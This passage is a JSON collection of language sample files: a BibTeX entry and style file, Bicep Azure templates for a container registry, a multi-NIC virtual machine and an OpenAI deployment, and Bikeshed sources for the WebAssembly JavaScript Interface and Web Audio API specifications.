    "content": "@article{DBLP:journals/corr/SunVGBB17,\n  author    = {Wen Sun and\n               Arun Venkatraman and\n               Geoffrey J. Gordon and\n               Byron Boots and\n               J. Andrew Bagnell},\n  title     = {Deeply AggreVaTeD: Differentiable Imitation Learning for Sequential\n               Prediction},\n  journal   = {CoRR},\n  volume    = {abs/1703.01030},\n  year      = {2017},\n  url       = {http://arxiv.org/abs/1703.01030},\n  timestamp = {Wed, 07 Jun 2017 14:41:53 +0200},\n  biburl    = {http://dblp.uni-trier.de/rec/bib/journals/corr/SunVGBB17},\n  bibsource = {dblp computer science bibliography, http://dblp.org}\n}"
  },
  {
    "path": "samples/BibTeX Style/bibkeys.bst",
    "content": "% BibTeX bibliography style bibkeys (used to be citekeys) \n% by David Kotz kotz@dartmouth.edu\n% March 1994\n% modified (distantly) from\n  %   BibTeX standard bibliography style `alpha'\n   % Version 0.99b (8-Dec-10 release) for BibTeX versions 0.99a or later.\n   % Copyright (C) 1984, 1985, 1988, 2010 Howard Trickey and Oren Patashnik.\n   % Unlimited copying and redistribution of this file are permitted as long as\n   % it is unmodified.  Modifications (and redistribution of modified versions)\n   % are also permitted, but only if the resulting file is renamed to something\n   % besides btxbst.doc, plain.bst, unsrt.bst, alpha.bst, and abbrv.bst.\n   % This restriction helps ensure that all standard styles are identical.\n   % The file btxbst.doc has the documentation for this style.\n\n\t ENTRY { author } {} {}\n\n\t FUNCTION {article} {}\n\t FUNCTION {book} {}\n\t FUNCTION {booklet} {}\n\t FUNCTION {inbook} {}\n\t FUNCTION {incollection} {}\n\t FUNCTION {inproceedings} {}\n\t FUNCTION {conference} {}\n\t FUNCTION {manual} {}\n\t FUNCTION {mastersthesis} {}\n\t FUNCTION {misc} {}\n\t FUNCTION {phdthesis} {}\n\t FUNCTION {proceedings} {}\n\t FUNCTION {techreport} {}\n\t FUNCTION {unpublished} {}\n\t FUNCTION {default.type} { misc }\n\t \n\t MACRO {jan} {\"January\"}\n\t MACRO {feb} {\"February\"}\n\t MACRO {mar} {\"March\"}\n\t MACRO {apr} {\"April\"}\n\t MACRO {may} {\"May\"}\n\t MACRO {jun} {\"June\"}\n\t MACRO {jul} {\"July\"}\n\t MACRO {aug} {\"August\"}\n\t MACRO {sep} {\"September\"}\n\t MACRO {oct} {\"October\"}\n\t MACRO {nov} {\"November\"}\n\t MACRO {dec} {\"December\"}\n\t \n\t READ\n\t \n\t FUNCTION {presort}\n\t { cite$\n\t\t #1 entry.max$ substring$\n\t\t 'sort.key$ :=\n\t }\n\t \n\t ITERATE {presort}\n\t \n\t SORT\n\t \n\t FUNCTION {cite.key.only} { cite$ write$ newline$ }\n\t \n\t ITERATE {cite.key.only}\n\t "
  },
  {
    "path": "samples/Bicep/101-container-registry.bicep",
    "content": "// params\n@minLength(5)\n@maxLength(50)\n@description('Specifies the name of the azure container registry.')\nparam acrName string = 'acr001${uniqueString(resourceGroup().id)}' // must be globally unique\n\n@description('Enable admin user that have push / pull permission to the registry.')\nparam acrAdminUserEnabled bool = false\n\n@description('Specifies the Azure location where the key vault should be created.')\nparam location string = resourceGroup().location\n\n@allowed([\n  'Basic'\n  'Standard'\n  'Premium'\n])\n@description('Tier of your Azure Container Registry.')\nparam acrSku string = 'Basic'\n\n// azure container registry\nresource acr 'Microsoft.ContainerRegistry/registries@2019-12-01-preview' = {\n  name: acrName\n  location: location\n  sku: {\n    name: acrSku\n  }\n  properties: {\n    adminUserEnabled: acrAdminUserEnabled\n  }\n}\n\noutput acrLoginServer string = acr.properties.loginServer\n"
  },
  {
    "path": "samples/Bicep/201-1vm-2nics-2subnets-1vnet.bicep",
    "content": "param virtualMachineSize string\nparam adminUsername string\n\n@secure()\nparam adminPassword string\n\nparam storageAccountType string\nparam location string = resourceGroup().location\n\nvar nic1Name = 'nic-1'\nvar nic2Name = 'nic-2'\nvar virtualNetworkName = 'virtualNetwork'\nvar subnet1Name = 'subnet-1'\nvar subnet2Name = 'subnet-2'\nvar publicIPAddressName = 'publicIp'\nvar diagStorageAccountName = concat('diags', uniqueString(resourceGroup().id))\nvar networkSecurityGroupName = 'NSG'\nvar networkSecurityGroupName2 = concat(subnet2Name, '-nsg')\n\nmodule vmMod './vm.bicep' = {\n  name: 'vmMod'\n  params: {\n    adminUsername: adminUsername\n    adminPassword: adminPassword\n    virtualMachineSize: virtualMachineSize\n    virtualMachineName: 'VM-MultiNic'\n    nic1Id: nic1.id\n    nic2Id: nic2.id\n    diagsStorageUri: diagsAccount.properties.primaryEndpoints.blob\n  }\n}\n\nresource diagsAccount 'Microsoft.Storage/storageAccounts@2017-06-01' = {\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'Storage'\n}\n\n// Simple Network Security Group for subnet2\nresource nsg2 'Microsoft.Network/networkSecurityGroups@2019-08-01' = {\n  name: networkSecurityGroupName2\n  location: location\n  properties: {}\n}\n\n// This will build a Virtual Network.\nresource vnet 'Microsoft.Network/virtualNetworks@2017-06-01' = {\n  name: virtualNetworkName\n  location: location\n  properties: {\n    addressSpace: {\n      addressPrefixes: [\n        '10.0.0.0/16'\n      ]\n    }\n    subnets: [\n      {\n        name: subnet1Name\n        properties: {\n          addressPrefix: '10.0.0.0/24'\n        }\n      }\n      {\n        name: subnet2Name\n        properties: {\n          addressPrefix: '10.0.1.0/24'\n          networkSecurityGroup: {\n            id: nsg2.id\n          }\n        }\n      }\n    ]\n  }\n}\n\n// This will be your Primary NIC\nresource nic1 'Microsoft.Network/networkInterfaces@2017-06-01' = {\n  name: nic1Name\n  location: location\n  properties: {\n    ipConfigurations: [\n      {\n        name: 'ipconfig1'\n        properties: {\n          subnet: {\n            id: '${vnet.id}/subnets/${subnet1Name}'\n          }\n          privateIPAllocationMethod: 'Dynamic'\n          publicIPAddress: {\n            id: pip.id\n          }\n        }\n      }\n    ]\n    networkSecurityGroup: {\n      id: nsg.id\n    }\n  }\n}\n\n// This will be your Secondary NIC\nresource nic2 'Microsoft.Network/networkInterfaces@2017-06-01' = {\n  name: nic2Name\n  location: location\n  properties: {\n    ipConfigurations: [\n      {\n        name: 'ipconfig1'\n        properties: {\n          subnet: {\n            id: '${vnet.id}/subnets/${subnet2Name}'\n          }\n          privateIPAllocationMethod: 'Dynamic'\n        }\n      }\n    ]\n  }\n}\n\n// Public IP for your Primary NIC\nresource pip 'Microsoft.Network/publicIPAddresses@2017-06-01' = {\n  name: publicIPAddressName\n  location: location\n  properties: {\n    publicIPAllocationMethod: 'Dynamic'\n  }\n}\n\n// Network Security Group (NSG) for your Primary NIC\nresource nsg 'Microsoft.Network/networkSecurityGroups@2016-09-01' = {\n  name: networkSecurityGroupName\n  location: location\n  properties: {\n    securityRules: [\n      {\n        name: 'default-allow-rdp'\n        properties: {\n          priority: 1000\n          sourceAddressPrefix: '*'\n          protocol: 'Tcp'\n          destinationPortRange: '3389'\n          access: 'Allow'\n          direction: 'Inbound'\n          sourcePortRange: '*'\n          destinationAddressPrefix: '*'\n        }\n      }\n    ]\n  }\n}\n\noutput publicIp string = pip.properties.ipAddress\n"
  },
  {
    "path": "samples/Bicep/params.bicepparam",
    "content": "using 'br/public:ai/cognitiveservices:1.1.1'\n\nvar suffix = 'ac9h8d'\n\nparam skuName = 'S0'\nparam kind = 'OpenAI'\nparam name = 'openai-${suffix}'\nparam location = 'westus2'\nparam deployments = [\n  {\n    name: 'model-deployment-${suffix}'\n    sku: {\n      name: 'Standard'\n      capacity: 120\n    }\n    properties: {\n      model: {\n        format: 'OpenAI'\n        name: 'text-davinci-002'\n        version: 1\n      }\n      raiPolicyName: 'Microsoft.Default'\n    }\n  }\n]\n"
  },
  {
    "path": "samples/Bikeshed/example.bs",
    "content": "<pre class='metadata'>\nTitle: WebAssembly JavaScript Interface\nShortname: wasm-js-api\nGroup: wasm\nStatus: ED\nLevel: 1\nTR: https://www.w3.org/TR/wasm-js-api-1/\nED: https://webassembly.github.io/spec/js-api/\nEditor: Ms2ger (Igalia)\nRepository: WebAssembly/spec\nMarkup Shorthands: css no, markdown yes\nAbstract: This document provides an explicit JavaScript API for interacting with WebAssembly.\nPrepare For TR: true\n</pre>\n\n<pre class='biblio'>\n{\n  \"WEBASSEMBLY\": {\n    \"href\": \"https://webassembly.github.io/spec/core/\",\n    \"title\": \"WebAssembly Core Specification\",\n    \"publisher\": \"W3C WebAssembly Community Group\",\n    \"status\": \"Draft\"\n  }\n}\n</pre>\n\n<pre class=\"anchors\">\nurlPrefix: https://tc39.github.io/ecma262/; spec: ECMASCRIPT\n    type: interface; for: ECMAScript\n        text: ArrayBuffer; url: sec-arraybuffer-objects\n    type: exception; for: ECMAScript\n        text: Error; url: sec-error-objects\n        text: NativeError; url: sec-nativeerror-constructors\n        text: TypeError; url: sec-native-error-types-used-in-this-standard-typeerror\n        text: RangeError; url: sec-native-error-types-used-in-this-standard-rangeerror\n    type: dfn\n        text: agent cluster; url: sec-agent-clusters\n        text: agent; url: agent\n        text: data block; url: sec-data-blocks\n        text: Bound Function; url: sec-bound-function-exotic-objects\n        text: NumericLiteral; url: sec-literals-numeric-literals\n        text: surrounding agent; url: surrounding-agent\n        text: ToNumber; url: sec-tonumber\n        text: ToInt32; url: sec-toint32\n        text: ToString; url: sec-tostring\n        url: sec-ecmascript-data-types-and-values\n            text: Type\n            text: Type(x)\n        url: sec-iscallable\n            text: IsCallable\n            text: callable; for: ECMAScript\n        url: sec-well-known-intrinsic-objects\n            text: %ErrorPrototype%\n        text: %ObjectPrototype%; url: sec-properties-of-the-object-prototype-object\n        text: %FunctionPrototype%; url: sec-properties-of-the-function-prototype-object\n        text: %Promise%; url: sec-promise-constructor\n        text: Property Descriptor; url: sec-property-descriptor-specification-type\n        text: array index; url: sec-array-exotic-objects\n        text: OrdinaryGetOwnProperty; url: sec-ordinarygetownproperty\n        text: OrdinaryDefineOwnProperty; url: sec-ordinarydefineownproperty\n        text: OrdinaryPreventExtensions; url: sec-ordinarypreventextensions\n        text: OrdinarySet; url: sec-ordinaryset\n        text: equally close values; url: sec-ecmascript-language-types-number-type\n        text: internal slot; url: sec-object-internal-methods-and-internal-slots\n        text: JavaScript execution context stack; url: execution-context-stack\n        text: running JavaScript execution context; url: running-execution-context\n        text: GetIterator; url: sec-getiterator\n        text: IteratorStep; url: sec-iteratorstep\n        text: NormalCompletion; url: sec-normalcompletion\n        text: IteratorValue; url: sec-iteratorvalue\n        url: sec-well-known-symbols\n            text: @@iterator\n            text: @@toStringTag\n        text: CreateDataProperty; url: sec-createdataproperty\n        text: DetachArrayBuffer; url: sec-detacharraybuffer\n        text: SetIntegrityLevel; url: sec-setintegritylevel\n        text: Call; url: sec-call\n        text: Get; url: sec-get-o-p\n        text: DefinePropertyOrThrow; url: sec-definepropertyorthrow\n        text: current Realm; url: current-realm\n        text: ObjectCreate; url: sec-objectcreate\n        text: CreateBuiltinFunction; url: sec-createbuiltinfunction\n        text: SetFunctionName; url: sec-setfunctionname\n        text: SetFunctionLength; url: sec-setfunctionlength\n        text: the Number value; url: sec-ecmascript-language-types-number-type\n        text: NumberToRawBytes; url: sec-numbertorawbytes\n        text: Built-in Function Objects; url: sec-built-in-function-objects\n        text: NativeError Object Structure; url: sec-nativeerror-object-structure\n        text: CreateArrayFromList; url: sec-createarrayfromlist\n        text: GetMethod; url: sec-getmethod\n        text: IterableToList; url: sec-iterabletolist\n        text: ToBigInt64; url: #sec-tobigint64\n        text: BigInt; url: #sec-ecmascript-language-types-bigint-type\n    type: abstract-op\n        text: CreateMethodProperty; url: sec-createmethodproperty\nurlPrefix: https://webassembly.github.io/spec/core/; spec: WebAssembly; type: dfn\n    url: valid/modules.html#valid-module\n        text: valid\n        text: WebAssembly module validation\n    text: module grammar; url: binary/modules.html#binary-module\n    text: custom section; url: binary/modules.html#custom-section\n    text: customsec; url: binary/modules.html#binary-customsec\n    text: memory instance; url: exec/runtime.html#memory-instances\n    text: table instance; url: exec/runtime.html#table-instances\n    text: global instance; url: exec/runtime.html#global-instances\n    text: trap; url: exec/runtime.html#syntax-trap\n    url: exec/runtime.html#values\n        text: WebAssembly value\n        text: i64.const\n        text: i32.const\n        text: f32.const\n        text: f64.const\n        text: ref.null\n        text: ref.func\n        text: ref.extern\n    text: function index; url: syntax/modules.html#syntax-funcidx\n    text: function instance; url: exec/runtime.html#function-instances\n    text: store_init; url: appendix/embedding.html#embed-store-init\n    text: module_decode; url: appendix/embedding.html#embed-module-decode\n    text: module_validate; url: appendix/embedding.html#embed-module-validate\n    text: module_instantiate; url: appendix/embedding.html#embed-module-instantiate\n    text: module_imports; url: appendix/embedding.html#embed-module-imports\n    text: module_exports; url: appendix/embedding.html#embed-module-exports\n    text: instance_export; url: appendix/embedding.html#embed-instance-export\n    text: func_alloc; url: appendix/embedding.html#embed-func-alloc\n    text: func_type; url: appendix/embedding.html#embed-func-type\n    text: func_invoke; url: appendix/embedding.html#embed-func-invoke\n    text: table_alloc; url: appendix/embedding.html#embed-table-alloc\n    text: table_type; url: appendix/embedding.html#embed-table-type\n    text: table_read; url: appendix/embedding.html#embed-table-read\n    text: table_write; url: appendix/embedding.html#embed-table-write\n    text: table_size; url: appendix/embedding.html#embed-table-size\n    text: table_grow; url: appendix/embedding.html#embed-table-grow\n    text: mem_alloc; url: appendix/embedding.html#embed-mem-alloc\n    text: mem_type; url: appendix/embedding.html#embed-mem-type\n    text: mem_read; url: appendix/embedding.html#embed-mem-read\n    text: mem_write; url: appendix/embedding.html#embed-mem-write\n    text: mem_size; url: appendix/embedding.html#embed-mem-size\n    text: mem_grow; url: appendix/embedding.html#embed-mem-grow\n    text: global_alloc; url: appendix/embedding.html#embed-global-alloc\n    text: global_type; url: appendix/embedding.html#embed-global-type\n    text: global_read; url: appendix/embedding.html#embed-global-read\n    text: global_write; url: appendix/embedding.html#embed-global-write\n    text: error; url: appendix/embedding.html#embed-error\n    text: store; url: exec/runtime.html#syntax-store\n    text: table type; url: syntax/types.html#syntax-tabletype\n    text: table address; url: exec/runtime.html#syntax-tableaddr\n    text: function address; url: exec/runtime.html#syntax-funcaddr\n    text: memory address; url: exec/runtime.html#syntax-memaddr\n    text: global address; url: exec/runtime.html#syntax-globaladdr\n    text: extern address; url: exec/runtime.html#syntax-externaddr\n    url: syntax/types.html#syntax-numtype\n        text: i32\n        text: i64\n        text: f32\n        text: f64\n    url: syntax/types.html#syntax-reftype\n        text: reftype\n        text: funcref\n        text: externref\n    text: function element; url: exec/runtime.html#syntax-funcelem\n    text: import component; url: syntax/modules.html#imports\n    text: external value; url: exec/runtime.html#syntax-externval\n    text: host function; url: exec/runtime.html#syntax-hostfunc\n    text: the instantiation algorithm; url: exec/modules.html#instantiation\n    text: module; url: syntax/modules.html#syntax-module\n    text: imports; url: syntax/modules.html#syntax-module\n    text: import; url: syntax/modules.html#syntax-import\n    url: syntax/types.html#external-types\n        text: external type\n        text: func\n        text: table\n        text: mem\n        text: global\n    text: global type; url: syntax/types.html#syntax-globaltype\n    url: syntax/types.html#syntax-mut\n        text: var\n        text: const\n    text: address; url: exec/runtime.html#addresses\n    text: signed_32; url: exec/numerics.html#aux-signed\n    text: memory.grow; url: exec/instructions.html#exec-memory-grow\n    text: current frame; url: exec/conventions.html#exec-notation-textual\n    text: module; for: frame; url: exec/runtime.html#syntax-frame\n    text: memaddrs; for: moduleinst; url: exec/runtime.html#syntax-moduleinst\n    text: signed_64; url: exec/numerics.html#aux-signed\n    text: sequence; url: syntax/conventions.html#grammar-notation\nurlPrefix: https://heycam.github.io/webidl/; spec: WebIDL\n    type: dfn\n        text: create a namespace object; url: create-a-namespace-object\n</pre>\n\n<pre class='link-defaults'>\nspec:infra; type:dfn; text:list\nspec:ecma-262; type:exception; for:ECMAScript; text:Error\nspec:ecmascript; type:exception; for:ECMAScript; text:TypeError\nspec:ecmascript; type:exception; for:ECMAScript; text:RangeError\nspec:ecmascript; type:interface; for:ECMAScript; text:ArrayBuffer\nspec:webidl; type:dfn; text:resolve\n</pre>\n\n<style>\nemu-const {\n    font-family: serif;\n}\n</style>\n\nThis API provides a way to access WebAssembly [[WEBASSEMBLY]] through a bridge to explicitly construct modules from JavaScript [[ECMASCRIPT]].\n\n<h2 id=\"sample\">Sample API Usage</h2>\n\n<p><em>This section is non-normative.</em></p>\n"
  },
  {
    "path": "samples/Bikeshed/example2.bs",
    "content": "<pre class=metadata>\nTitle: Web Audio API\nShortname: webaudio\nLevel: 1\nGroup: audiowg\nStatus: ED\nED: https://webaudio.github.io/web-audio-api/\nTR: https://www.w3.org/TR/webaudio/\nFavicon: favicon.png\nPrevious Version: https://www.w3.org/TR/2021/CR-webaudio-20210114/\nPrevious Version: https://www.w3.org/TR/2020/CR-webaudio-20200611/\nPrevious Version: https://www.w3.org/TR/2018/CR-webaudio-20180918/\nPrevious Version: https://www.w3.org/TR/2018/WD-webaudio-20180619/\nPrevious Version: https://www.w3.org/TR/2015/WD-webaudio-20151208/\nPrevious Version: https://www.w3.org/TR/2013/WD-webaudio-20131010/\nPrevious Version: https://www.w3.org/TR/2012/WD-webaudio-20121213/\nPrevious Version: https://www.w3.org/TR/2012/WD-webaudio-20120802/\nPrevious Version: https://www.w3.org/TR/2012/WD-webaudio-20120315/\nPrevious Version: https://www.w3.org/TR/2011/WD-webaudio-20111215/\nEditor: Paul Adenot, Mozilla (https://www.mozilla.org/), padenot@mozilla.com, w3cid 62410\nEditor: Hongchan Choi, Google (https://www.google.com/), hongchan@google.com, w3cid 74103\nFormer Editor: Raymond Toy (until Oct 2018)\nFormer Editor: Chris Wilson (Until Jan 2016)\nFormer Editor: Chris Rogers (Until Aug 2013)\nImplementation Report: implementation-report.html\nTest Suite: https://github.com/web-platform-tests/wpt/tree/master/webaudio\nRepository: WebAudio/web-audio-api\nAbstract: This specification describes a high-level Web <abbr title=\"Application Programming Interface\">API</abbr>\n\tfor processing and synthesizing audio in web applications.\n\tThe primary paradigm is of an audio routing graph,\n\twhere a number of {{AudioNode}} objects are connected together to define the overall audio rendering.\n\tThe actual processing will primarily take place in the underlying implementation\n\t(typically optimized Assembly / C / C++ code),\n\tbut [[#AudioWorklet|direct script processing and synthesis]] is also supported.\n\n\tThe [[#introductory]] section covers the motivation behind this specification.\n\n\tThis API is designed to be used in conjunction with other APIs and elements on the web platform, notably:\n\tXMLHttpRequest [[XHR]] (using the <code>responseType</code> and <code>response</code> attributes).\n\tFor games and interactive applications,\n\tit is anticipated to be used with the <code>canvas</code> 2D [[2dcontext]]\n\tand WebGL [[WEBGL]] 3D graphics APIs.\nMarkup Shorthands: markdown on, dfn on, css off\n</pre>\n\n<pre class=anchors>\nspec: ECMAScript; url: https://tc39.github.io/ecma262/#sec-data-blocks; type: dfn; text: data block;\nurl: https://www.w3.org/TR/mediacapture-streams/#dom-mediadevices-getusermedia; type: method; for: MediaDevices; text: getUserMedia()\n</pre>\n<!-- We want {{object}} and {{Promise}} to go to the WebIDL object -->\n<pre class=link-defaults>\nspec:webidl; type:interface; text:object\nspec:webidl; type:interface; text:Promise\n</pre>\n<link rel=\"preload\" href=\"https://www.w3.org/scripts/MathJax/2.7.5/MathJax.js?config=TeX-AMS-MML_HTMLorMML\" as=\"script\">\n<link rel=\"preload\" href=\"https://www.w3.org/scripts/MathJax/2.7.5/jax/output/HTML-CSS/jax.js?rev=2.7.5\" as=\"script\">\n<link rel=\"preload\" href=\"https://www.w3.org/scripts/MathJax/2.7.5/jax/output/HTML-CSS/fonts/STIX/fontdata.js?rev=2.7.5\" as=\"script\">\n<link rel=\"preload\" href=\"https://www.w3.org/scripts/MathJax/2.7.5/config/TeX-AMS-MML_HTMLorMML.js?rev=2.7.5\" as=\"script\">\n<link rel=\"preload\" href=\"https://www.w3.org/scripts/MathJax/2.7.5/jax/element/mml/optable/BasicLatin.js?rev=2.7.5\" as=\"script\">\n<link rel=\"preload\" href=\"https://www.w3.org/scripts/MathJax/2.7.5/jax/output/HTML-CSS/autoload/mtable.js?rev=2.7.5\" as=\"script\">\n<script>\nwindow.addEventListener(\"DOMContentLoaded\", function () {\n\t\"use strict\";\n\tnew Promise(function (resolve, reject) {\n\t\tvar mathjax = document.createElement('script');\n\t\tvar url = \"https://www.w3.org/scripts/MathJax/2.7.5/MathJax.js?config=TeX-AMS-MML_HTMLorMML\";\n\t\t// Safari doesn't (yet) support load event on scripts so we have to poll. So 😢.\n\t\tvar id = setInterval(function () {\n\t\t\tif (window.MathJax) {\n\t\t\t\tclearInterval(id);\n\t\t\t\tresolve();\n\t\t\t}\n\t\t}, 100);\n\t\tmathjax.onload = function () {\n\t\t\tclearInterval(id);\n\t\t\tresolve();\n\t\t};\n\t\tmathjax.onerror = function (err) {\n\t\t\tvar error = (err instanceof Event) ? new Error(err.message) : err;\n\t\t\treject(error);\n\t\t};\n\t\t// Time out waiting after 20 seconds and reject.\n\t\tsetTimeout(function(){\n\t\t\tmathjax.onerror(new Error(\"Loading timed out.\"));\n\t\t}, 20000);\n\t\tmathjax.id = \"mathjax\";\n\t\tmathjax.src = url;\n\t\tdocument.body.appendChild(mathjax);\n\t}).then(function () {\n\t\tMathJax.Hub.Config({\n\t\t\ttex2jax: {\n\t\t\t\tskipTags: [\"script\", \"noscript\", \"style\", \"textarea\", \"code\"]\n\t\t\t}\n\t\t});\n\t}).catch(function (error) {\n\t\tconsole.error(error);\n\t});\n});\n</script>\n<script>\n// This replaces the contents of \"divID\" with an unordered list of all the\n// amendment boxes with a prefix of \"prefix\".  Each item of the list will be of\n// the form \"label n\", where \"label\" is the specified label to use via \"label\".\n// \"n\" is just a sequential number starting at 1.\n//\n// Example usage where we want a list of all the changes whose id begins with\n// \"c2361\".\n//\n// (div id=\"change-list-2361\")\n// (/div)\n//\n// And add\n//\n//  ListAmendments(\"c2361\", \"Correction\", \"change-list-2361\")\n//\n// to the onload event listener at the bottom of this file.\n//\n// (Replace the \"(\", \")\" with \"<\", \">\", respectively above.  Bikeshed mangles\n// this if we use \"<\" above.\n\nfunction ListAmendments(prefix, label, divID) {\n  // Find all the nodes whose id starts with prefix.\n  let nodes = document.querySelectorAll('*[id^=\"' + prefix + '\"]');\n  // Find the div element which will be replaced by the unordered list.\n  let div = document.getElementById(divID);\n\n  // Create the unordered list\n  let text = '<ul>';\n  let index = 1;\n  nodes.forEach(x => {\n    text += '<li><a href=\"#' + x.id + '\">' + label + ' ' + index + '</a></li>';\n    ++index;\n    // Insert buttons for prev and next change\n    InsertButtons(x);\n  });\n  text += '</ul>';\n\n  div.innerHTML = text;\n}\n\n// Search for the class \"amendment-buttons\", and replace the contents of the div\n// with a set of buttons which link to the previous and next related amendment.\n\nfunction InsertButtons(node) {\n  let list = node.getElementsByClassName(\"amendment-buttons\");\n\n  // We only add buttons to the first class inside the node.\n  if (list && list.length > 0) {\n    let matches = node.id.match(/([ac]\\d+)-(\\d+)/);\n    let changeID = matches[1];\n    let changeNum = parseInt(matches[2]);\n    // Create buttons.\n    let text = \"\";\n    if (changeNum > 1) {\n      // Add \"previous\" button, only if there is a previous change.\n      text += \"<button onclick='location.href=\";\n      text += '\"#' + changeID + '-' + (changeNum-1) + '\"';\n      text += \"'>Previous Change</button>\";\n    }\n\n    if (document.getElementById(changeID + \"-\" + (changeNum + 1))) {\n      // Add \"next\" button only if there is a next change\n      text += \"<button onclick='location.href=\";\n      text += '\"#' + changeID + '-' + (changeNum + 1) + '\"';\n      text += \"'>Next Change</button>\";\n    }\n\n    list[0].innerHTML = text;\n  }\n}\nwindow.addEventListener('load', (event) => {\n  // Add entries here for each change\n  ListAmendments(\"c2361\", \"Proposed Correction\", \"change-list-2361\");\n  ListAmendments(\"c127\", \"Proposed Correction\", \"change-list-127\");\n  ListAmendments(\"c2359\", \"Proposed Correction\", \"change-list-2359\");\n  ListAmendments(\"c2373\", \"Proposed Correction\", \"change-list-2373\");\n  ListAmendments(\"c2321\", \"Proposed Correction\", \"change-list-2321\");\n  ListAmendments(\"c2375\", \"Proposed Correction\", \"change-list-2375\");\n});\n</script>\n<style>\n@media (prefers-color-scheme: light) {\n:root {\n\t--div-info-fg-color: #178217;\n}\n}\n@media (prefers-color-scheme: dark) {\n:root {\n\t--div-info-fg-color: springgreen;\n}\n}\n.todo {\n\tborder: 1px solid red;\n\tbackground-color: rgba(255, 0, 0, 0.3);\n}\n.todo:before {\n\tcontent: \"TODO:\";\n}\n.synchronous:before {\n\tcontent: \"⌛ \";\n}\n.synchronous:hover{\n\tborder-bottom: 1px dotted gray;\n}\nbody#respecDocument {\n\tmax-width: 60em;\n}\n.seclist > p {\n\tfont-style: italic;\n}\ntable.channels {\n\twidth:100%;\n\toverflow: auto;\n\tmargin: 0;\n\tfont-size: 14px;\n\tfont-family: /*Consolas, Monaco,*/ monospace;\n}\ntable.channels th {\n\twidth:60px;\n\ttext-align:center;\n}\ntable.channels td {\n\twidth:60px;\n\ttext-align:center;\n}\n@media (prefers-color-scheme: light) {\ntable.channels tr:nth-child(even) {\n\tbackground: #EEE;\n}\ntable.channels tr:nth-child(odd) {\n\tbackground: #FFF;\n}\n}\n@media (prefers-color-scheme: dark) {\ntable.channels tr:nth-child(even) {\n\tbackground: var(--assertion-border)\n}\n}\n\ndiv.node-info {\n\tpadding-left: 4em;\n\tpadding-right: 4em;\n}\ndiv.node-info > table {\n\tborder-collapse: collapse;\n\tborder-top: 2px solid #707070;\n\tborder-bottom: 2px solid #707070;\n\twidth: 100%;\n\tmargin: 2em 0;\n}\ndiv.node-info > table > tbody > tr > th,\ndiv.node-info > table > tbody > tr > td {\n\tpadding: 0.2em 0.6em;\n\tmin-width: 150px;\n\tborder-top: 1px solid #ddd\n}\ndiv.node-info > table > thead > tr > th {\n\tline-height: 2em;\n\tfont-weight: 600;\n\tborder-bottom: 1px solid #707070;\n\tcolor: var(--div-info-fg-color);\n}\ndiv.audioparam-info {\n\tpadding-left: 4em;\n\tpadding-right: 4em;\n}\ndiv.audioparam-info > table {\n\tborder-collapse: collapse;\n\tborder-top: 2px solid #707070;\n\tborder-bottom: 2px solid #707070;\n\twidth: 100%;\n\tmargin: 2em 0;\n}\ndiv.audioparam-info > table > tbody > tr > th,\ndiv.audioparam-info > table > tbody > tr > td {\n\tpadding: 0.2em 0.6em;\n\tmin-width: 150px;\n\tborder-top: 1px solid #ddd\n}\ndiv.audioparam-info > table > thead > tr > th {\n\tline-height: 2em;\n\tfont-weight: 600;\n\tborder-bottom: 1px solid #707070;\n\tcolor: var(--div-info-fg-color);\n}\ndiv.enum-description > table {\n\tborder-collapse: collapse;\n\tborder-top: 2px solid #707070;\n\tborder-bottom: 2px solid #707070;\n\twidth: 100%;\n\tmargin: 2em 0;\n}\ndiv.enum-description > table > tbody > tr > th,\ndiv.enum-description > table > tbody > tr > td {\n\tpadding: 0.2em 0.6em;\n\tmin-width: 150px;\n\tborder-top: 1px solid #ddd\n}\ndiv.enum-description > table > thead > tr > th {\n\tline-height: 2em;\n\tfont-weight: 600;\n\tcolor: var(--div-info-fg-color);\n\tborder-bottom: 1px solid #707070;\n}\ncode.nobreak {\n  white-space: nowrap;\n}\n</style>\n\n<h2 id=\"introductory\" class=no-num>\nIntroduction</h2>\n\nAudio on the web has been fairly primitive up to this point and until\nvery recently has had to be delivered through plugins such as Flash and\nQuickTime. The introduction of the <{audio}> element in HTML5\nis very important, allowing for basic streaming audio playback. But, it\nis not powerful enough to handle more complex audio applications. For\nsophisticated web-based games or interactive applications, another\nsolution is required. It is a goal of this specification to include the\ncapabilities found in modern game audio engines as well as some of the\nmixing, processing, and filtering tasks that are found in modern\ndesktop audio production applications.\n\nThe APIs have been designed with a wide variety of use cases\n[[webaudio-usecases]] in mind. Ideally, it should be able to support\n<i>any</i> use case which could reasonably be implemented with an\noptimized C++ engine controlled via script and run in a browser. That\nsaid, modern desktop audio software can have very advanced\ncapabilities, some of which would be difficult or impossible to build\nwith this system. Apple's Logic Audio is one such application which has\nsupport for external MIDI controllers, arbitrary plugin audio effects\nand synthesizers, highly optimized direct-to-disk audio file\nreading/writing, tightly integrated time-stretching, and so on.\nNevertheless, the proposed system will be quite capable of supporting a\nlarge range of reasonably complex games and interactive applications,\nincluding musical ones. And it can be a very good complement to the\nmore advanced graphics features offered by WebGL. The API has been\ndesigned so that more advanced capabilities can be added at a later\ntime.\n\n<h3 id=\"Features\">\nFeatures</h3>\n\nThe API supports these primary features:\n\n* [[#ModularRouting|Modular routing]] for simple or complex\n\tmixing/effect architectures.\n\n* High dynamic range, using 32-bit floats for internal processing.\n\n* [[#AudioParam|Sample-accurate scheduled sound playback]]\n\twith low [[#latency|latency]] for musical applications\n\trequiring a very high degree of rhythmic precision such as drum\n\tmachines and sequencers. This also includes the possibility of\n\t[[#DynamicLifetime|dynamic creation]] of effects.\n\n* Automation of audio parameters for envelopes, fade-ins /\n\tfade-outs, granular effects, filter sweeps, LFOs etc.\n\n* Flexible handling of channels in an audio stream, allowing them\n\tto be split and merged.\n\n* Processing of audio sources from an <{audio}> or <{video}>\n\t{{MediaElementAudioSourceNode|media element}}.\n\n* Processing live audio input using a {{MediaStreamTrackAudioSourceNode|MediaStream}} from\n\t{{getUserMedia()}}.\n\n* Integration with WebRTC\n\t* Processing audio received from a remote peer using a\n\t\t{{MediaStreamTrackAudioSourceNode}} and\n\t\t[[!webrtc]].\n\n\t* Sending a generated or processed audio stream to a remote\n\t\tpeer using a {{MediaStreamAudioDestinationNode}}\n\t\tand [[!webrtc]].\n\n* Audio stream synthesis and processing [[#AudioWorklet|directly using scripts]].\n\n* [[#Spatialization|Spatialized audio]] supporting a wide\n\trange of 3D games and immersive environments:\n\n\t* Panning models: equalpower, HRTF, pass-through\n\t* Distance Attenuation\n\t* Sound Cones\n\t* Obstruction / Occlusion\n\t* Source / Listener based\n\n* A convolution engine for a 